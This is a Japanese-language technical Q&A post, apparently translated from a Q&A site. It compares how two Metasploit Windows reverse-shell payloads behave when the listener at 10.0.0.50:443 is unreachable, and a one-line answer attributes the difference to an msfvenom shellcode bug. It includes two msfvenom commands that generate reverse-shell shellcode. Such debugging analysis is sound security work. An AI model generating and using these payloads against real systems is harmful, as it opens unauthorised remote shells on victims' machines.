「windows / Shell_reverse_tcp」と「windows / Shell / reverse_tcp」の終了動作の違い
上記の2つのMetasploitペイロードは、システム間でリバースシェルを作成するために使用されます。それらの違いはここで明確に説明されています https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work
ただし、接続しようとしているシステムに到達できない場合、両方のペイロードがどのように動作するかを理解しようとしています。
例えば：
msfvenom -p windows/Shell_reverse_tcp LHOST=10.0.0.50 LPORT=443
そして
msfvenom -p windows/Shell/reverse_tcp LHOST=10.0.0.50 LPORT=443
「10.0.0.50」への接続を試みます。問題は、「10.0.0.50」がポート「443」でリッスンしていない場合に各ペイロードがどのように動作するかです。
どちらのペイロードもEXITFUNC processを使用していますが、デバッガー内で実行してシェルコードの最後の命令にブレークポイントを配置すると、異なる結果が得られました。
どちらも、タイムアウトになると（デフォルトは5秒です）、リモートシステムに接続しようとする「mswsock.dll」を利用します。
Shell_reverse_tcpは、デバッガー内で「プロセス終了」を示し、[〜＃〜] eip [〜＃〜]がntdll.KiFastSystemCallRetを指します。ブレークポイントがヒットすることはありません- 一方、
Shell/reverse_tcpはシェルコードの最後にあるブレークポイントにヒットします
ノート：
- 事前設定されたポートでリッスンしている場合、リモートシステムに正常に接続することにより、両方のペイロードが正常に機能することを確認しました。
Shell_reverse_tcpは、リモートシステムに最初に接続できた場合にのみ、ブレークポイントにヒットします。 CMD内でexitを使用してリモートシステムのシェルを終了すると、ブレークポイントがヒットします。
リモートリスナーに到達できない場合にブレークポイントに到達し、ヒットしない理由は何ですか？
前もって感謝します。
Msfvenomによって生成されたシェルコードのバグであることが判明